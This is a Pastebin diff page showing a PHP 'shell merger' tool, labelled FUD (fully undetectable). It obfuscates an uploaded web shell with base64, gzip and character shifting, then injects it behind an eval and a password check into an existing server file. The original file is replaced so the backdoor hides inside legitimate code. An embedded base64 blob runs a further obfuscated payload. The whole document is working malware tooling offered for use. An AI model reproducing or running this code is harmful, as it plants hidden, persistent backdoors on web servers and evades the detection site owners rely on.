API tools faq
paste
View difference between Paste ID: g9qk74Eu and quGZS5Rh
SHOW: | | - or go back to the newest paste.
1
<html>
2
<head><title>Shell Merger Version 2.0</title>
3
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
4
<STYLE>
5
/* CSS [Thanks to Mannu shell :) this comes from there :P] */
6
body {
7
font-family: Tahoma
8
}
9
tr {
10
BORDER: dashed 1px #333;
11
color: #FFF;
12
}
13
td {
14
BORDER: dashed 1px #333;
15
color: #FFF;
16
}
17
.table1 {
18
BORDER: 0px Black;
19
BACKGROUND-COLOR: Black;
20
color: #FFF;
21
}
22
.td1 {
23
BORDER: 0px;
24
BORDER-COLOR: #333333;
25
font: 7pt Verdana;
26
color: Green;
27
}
28
.tr1 {
29
BORDER: 0px;
30
BORDER-COLOR: #333333;
31
color: #FFF;
32
}
33
table {
34
BORDER: dashed 1px #333;
35
BORDER-COLOR: #333333;
36
BACKGROUND-COLOR: Black;
37
color: #FFF;
38
}
39
input {
40
border			: dashed 1px;
41
border-color		: #333;
42
BACKGROUND-COLOR: Black;
43
font: 8pt Verdana;
44
color: Red;
45
}
46
select {
47
BORDER-RIGHT:  Black 1px solid;
48
BORDER-TOP:    #DF0000 1px solid;
49
BORDER-LEFT:   #DF0000 1px solid;
50
BORDER-BOTTOM: Black 1px solid;
51
BORDER-color: #FFF;
52
BACKGROUND-COLOR: Black;
53
font: 8pt Verdana;
54
color: Red;
55
}
56
submit {
57
BORDER:  buttonhighlight 2px outset;
58
BACKGROUND-COLOR: Black;
59
width: 40%;
60
color: white;
61
}
62
textarea {
63
border			: dashed 1px #333;
64
BACKGROUND-COLOR: Black;
65
font: Fixedsys bold;
66
color: #999;
67
}
68
BODY {
69
	SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #FFF; SCROLLBAR-SHADOW-color: #FFF; SCROLLBAR-3DLIGHT-color: #FFF; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #FFF; SCROLLBAR-DARKSHADOW-color: #FFF
70
margin: 1px;
71
color: Red;
72
background-color: Black;
73
}
74
.main {
75
margin			: -287px 0px 0px -490px;
76
BORDER: dashed 1px #333;
77
BORDER-COLOR: #333333;
78
}
79
.tt {
80
background-color: Black;
81
}
82
83
A:link {

84
	COLOR: White; TEXT-DECORATION: none

85
}

86
A:visited {

87
	COLOR: White; TEXT-DECORATION: none

88
}

89
A:hover {

90
	color: Red; TEXT-DECORATION: none

91
}

92
A:active {

93
	color: Red; TEXT-DECORATION: none

94
}

95
96
97
98
99
div.nav

100
{

101
    margin-top:1px;

102
    height:60px;

103
    background-color: ;

104
}

105
div.nav ul

106
{

107
    list-style: none;

108
    padding: 4px;

109
}

110
div.nav li

111
{

112
    float: left;

113
    margin-right: 10px;

114
    text-align:center;

115
}

116
</style>

117
</head>

118
<body>

119
<center>

120
<?php

121
if(!isset($_POST['o']))

122
{

123
?>

124
<table>

125
<tr><td width=1000px>

126
<center><h1><font color=silver>Todu shell merger V-2.0<br></font><font color=green>(FUD VERSION)</font></h1></center>

127
<center><h3><font color=silver>By Sujit Ugale</font></h3></center>

128
<marquee><font color=silver>Greetz to Manish Tanwar</font></marquee>

129
<font size=2>Here are the steps to use this merger.

130
<OL>

131
<li>Enter local path of file to which ur shell is to be merged with.

132
<li>Upload shell.

133
<li>Select your password, which u'll use to access the merged shell.

134
<li>Now hit the button.

135
<li>To  access the shell, send POST variable <font color=grey>"backdoor=[your pass]"</font> to the merged file name.

136
<li>enjoy your shell, which is now fully undetectable :)</ol></font>

137
</td></tr>

138
<tr><td width=1000px>

139
<center>

140
<br><br><br>

141
<font color=red>

142
<form enctype="multipart/form-data"  method="POST" action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>">

143
File path(local path)	: <input name="o" value=""><br><br>

144
Shell (Upload it)		: <input name="userfile" type="file"><br><br>

145
Password you want		: <input name="pass" type="password" value=""/><br><br>

146
<input type="Submit" value="Merge it Babe!"><br><br>

147
</form>

148
</font>

149
</td></tr>

150
</table>

151
<?php

152
}

153
if (@is_uploaded_file($_FILES["userfile"]["tmp_name"]))

154
{

155
	if(!file_exists($_POST['o'])){

156
	die("File to be merged with does not exist");

157
}

158
$tempname="temp" . rand(100,1000);

159
copy($_FILES["userfile"]["tmp_name"], "" . $_FILES["userfile"]["name"]); 

160
rename($_FILES["userfile"]["name"],$tempname);

161
error_reporting(0);

162
$file1=$tempname;//uploaded file(shell)

163
$file2=$_POST['o'];//Original file to be backdoored

164
$pass=md5($_POST['pass']);

165
echo "Work done!!!";

166
//Apna main plan

167
$tempdata= base64_decode("PD9waHAKc2Vzc2lvbl9zdGFydCgpOwplcnJvcl9yZXBvcnRpbmcoMCk7").base64_decode("JHM9IkFTc0IxUDU0bkUyUFNYS0RNQkJGcnlTR3hNWENLem1Ga1R3aERBanRqREFZQkVhT3ltRTRmUnF5eWFxcnBOL3Y5UmZQNUowNVRPZTJXd2svN3NuK3FQSFRVSmllY0xUT08yRXl6bHJxRjU5Rit0SGt0alhJTHBubDlLZ3pmbXBQRFN1Rm44QTdaRENiYWFUMGVlaFY3aVRvRWdYMWVkQmQ3Z1E5OFpWM2JHTHJQREY5YWRDd3pFT0VWaGVPMk9zU01VM25yeEYyeWVLV0RwdTRRMXJwajQvTWpudGd2MmcwTnJmOXl0S0h4WFUxdEF6LzhYZEczYTdqWE95SkVhbTdkbGs4ZEVZVERmVUdWNjBXZGFXa0E3bklqT1VWZVdSeW56VHN5UjI4Y01kUHdjTTMzRExmWWE4RVB1YUk0alF4MG82clc1b0I4N1FCMS9lUkl3LzZ0VUd0SUFPNVVLMmREdzM2NDNNRVBrV0k3MWtGZHIyZ0hkOUI4OGVEbXlmQm1TVTd0MXIvZDB1UDdmWVhiSnlIdEE9PSI7CmV2YWwoYmFzZTY0X2RlY29kZShnenVuY29tcHJlc3MoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHMpKSkpKTsKaWYoaXNzZXQoJF9QT1NUWydiYWNrZG9vciddKSkKewoJaWYobWQ1KCRfUE9TVFsnYmFja2Rvb3InXSk9PSI=").$pass.base64_decode("IikKCXsKCQkkX1NFU1NJT05bJ2JkJ109MTsKCX0KfQppZihpc3NldCgkX1NFU1NJT05bJ2JkJ10pICYmICRfU0VTU0lPTlsnYmQnXT09MSkKew==");

168
file_put_contents('output.php', $tempdata);

169
170
//*********************************File 1[backdoor]********************************//

171
function en($ins)

172
{

173
$in=file($ins);

174
$out="";

175
foreach($in as $line)

176
{

177
	for($i=0;$i<strlen($line);$i++)

178
	{

179
		$out.=(ord($line{$i})+11);

180
		if($i<strlen($line)-1)

181
		$out.=".";

182
	}

183
	$out.="%";

184
}

185
$k=base64_encode(gzcompress(gzdeflate($out)));

186
return $k;

187
}

188
//*********************************File 1[backdoor]********************************//

189
$tempdata=base64_decode("JGE9Ig==");//$a="

190
file_put_contents('output.php', $tempdata, FILE_APPEND);

191
192
$tempdata=en($file1);//encoded code

193
file_put_contents('output.php', $tempdata, FILE_APPEND);//main jugad

194
195
$tempdata=base64_decode("Ijs=");// ";

196
file_put_contents('output.php', $tempdata."\n", FILE_APPEND);

197
198
$tempdata=base64_decode("ZXZhbCgiPz4iLmRlKCRhKSk7");/*  eval("?>".de($a));   */

199
file_put_contents('output.php', $tempdata."\n", FILE_APPEND);// put eval in output

200
201
file_put_contents('output.php', "\n?>\n", FILE_APPEND);

202
203
$tempdata="

204
<?php

205
}

206
else

207
{

208
?>

209
";

210
file_put_contents('output.php', $tempdata, FILE_APPEND);

211
212
//************************************File 2[original]******************************//

213
$reader=file($file2);

214
foreach($reader as $line)

215
{

216
	file_put_contents('output.php', $line, FILE_APPEND);

217
}

218
219
$tempdata="

220
<?php

221
}

222
?>

223
";

224
file_put_contents('output.php', $tempdata, FILE_APPEND);

225
226
//Now replace main file :D

227
rename($_POST['o'],$_POST['o'].'.bak');

228
rename('output.php', $_POST['o']);

229
unlink('output.php');

230
unlink($tempname);

231
}

232
?>

233
</body>

234
</html>
        

    


            


                                


        

            



                
    

        Public Pastes
    

    
            

    

                    

        

    





    


    
    
    
    
    
    
    
    




    


    



                

            We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.             OK, I Understand
        

    
                

            

                
                    
                
            

            

                Not a member of Pastebin yet?

                Sign Up, it unlocks many cool features!